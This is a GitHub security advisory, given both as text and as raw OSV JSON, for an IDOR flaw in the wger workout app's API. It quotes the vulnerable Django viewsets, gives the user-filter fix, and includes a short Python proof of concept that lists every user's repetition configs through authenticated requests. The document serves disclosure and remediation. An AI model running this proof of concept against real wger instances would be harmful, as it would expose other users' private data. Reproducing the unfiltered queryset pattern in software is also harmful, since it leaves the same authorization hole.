GHSA-XF68-8HJW-7MPM

Vulnerability from github – Published: 2026-02-26 22:13 – Updated: 2026-02-26 22:13
VLAI?
Summary
wger: IDOR in RepetitionsConfig and MaxRepetitionsConfig API leak other users' workout data
Details

Summary

RepetitionsConfigViewSet and MaxRepetitionsConfigViewSet return all users' repetition config data because their get_queryset() calls .all() instead of filtering by the authenticated user. Any registered user can enumerate every other user's workout structure.

Details

wger/manager/api/views.py:499 and :518:

# VULNERABLE
class RepetitionsConfigViewSet(viewsets.ModelViewSet):
    def get_queryset(self):
        return RepetitionsConfig.objects.all()

class MaxRepetitionsConfigViewSet(viewsets.ModelViewSet):
    def get_queryset(self):
        return MaxRepetitionsConfig.objects.all()

Every sibling viewset in the same file correctly filters by user. For example, WeightConfigViewSet at line 459:

# CORRECT — how it should work
def get_queryset(self):
    return WeightConfig.objects.filter(
        slot_entry__slot__day__routine__user=self.request.user
    )

The same user filter is present on SetsConfig, RestConfig, RiRConfig, and their Max variants — only RepetitionsConfig and MaxRepetitionsConfig are missing it.

PoC

import requests

BASE = "http://localhost"
headers = {"Authorization": "Token YOUR_TOKEN"}  # any registered user

r = requests.get(f"{BASE}/api/v2/repetitions-config/", headers=headers)
print(r.json())  # returns ALL users' repetition configs, not just your own

r = requests.get(f"{BASE}/api/v2/max-repetitions-config/", headers=headers)
print(r.json())  # same — all users' max repetition configs

Registration is open by default. Sequential IDs allow full enumeration.

Impact

Any authenticated user can read other users' repetition and max-repetitions configs, exposing workout structure (slot entry IDs, iteration values, operations, step counts, repeat flags, requirements JSON). This is a broken object-level authorization (BOLA/IDOR) vulnerability — the same class of issue as OWASP API1.

Fix: Add the same user filter used by every other config viewset:

def get_queryset(self):
    return RepetitionsConfig.objects.filter(
        slot_entry__slot__day__routine__user=self.request.user
    )
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wger"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27835"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-26T22:13:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`RepetitionsConfigViewSet` and `MaxRepetitionsConfigViewSet` return all users\u0027 repetition config data because their `get_queryset()` calls `.all()` instead of filtering by the authenticated user. Any registered user can enumerate every other user\u0027s workout structure.\n\n### Details\n\n`wger/manager/api/views.py:499` and `:518`:\n\n```python\n# VULNERABLE\nclass RepetitionsConfigViewSet(viewsets.ModelViewSet):\n    def get_queryset(self):\n        return RepetitionsConfig.objects.all()\n\nclass MaxRepetitionsConfigViewSet(viewsets.ModelViewSet):\n    def get_queryset(self):\n        return MaxRepetitionsConfig.objects.all()\n```\n\nEvery sibling viewset in the same file correctly filters by user. For example, `WeightConfigViewSet` at line 459:\n\n```python\n# CORRECT \u2014 how it should work\ndef get_queryset(self):\n    return WeightConfig.objects.filter(\n        slot_entry__slot__day__routine__user=self.request.user\n    )\n```\n\nThe same user filter is present on `SetsConfig`, `RestConfig`, `RiRConfig`, and their Max variants \u2014 only `RepetitionsConfig` and `MaxRepetitionsConfig` are missing it.\n\n### PoC\n\n```python\nimport requests\n\nBASE = \"http://localhost\"\nheaders = {\"Authorization\": \"Token YOUR_TOKEN\"}  # any registered user\n\nr = requests.get(f\"{BASE}/api/v2/repetitions-config/\", headers=headers)\nprint(r.json())  # returns ALL users\u0027 repetition configs, not just your own\n\nr = requests.get(f\"{BASE}/api/v2/max-repetitions-config/\", headers=headers)\nprint(r.json())  # same \u2014 all users\u0027 max repetition configs\n```\n\nRegistration is open by default. Sequential IDs allow full enumeration.\n\n### Impact\n\nAny authenticated user can read other users\u0027 repetition and max-repetitions configs, exposing workout structure (slot entry IDs, iteration values, operations, step counts, repeat flags, requirements JSON). This is a broken object-level authorization (BOLA/IDOR) vulnerability \u2014 the same class of issue as OWASP API1.\n\n**Fix**: Add the same user filter used by every other config viewset:\n```python\ndef get_queryset(self):\n    return RepetitionsConfig.objects.filter(\n        slot_entry__slot__day__routine__user=self.request.user\n    )\n```",
  "id": "GHSA-xf68-8hjw-7mpm",
  "modified": "2026-02-26T22:13:13Z",
  "published": "2026-02-26T22:13:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/security/advisories/GHSA-xf68-8hjw-7mpm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wger-project/wger"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "wger: IDOR in RepetitionsConfig and MaxRepetitionsConfig API leak other users\u0027 workout data"
}


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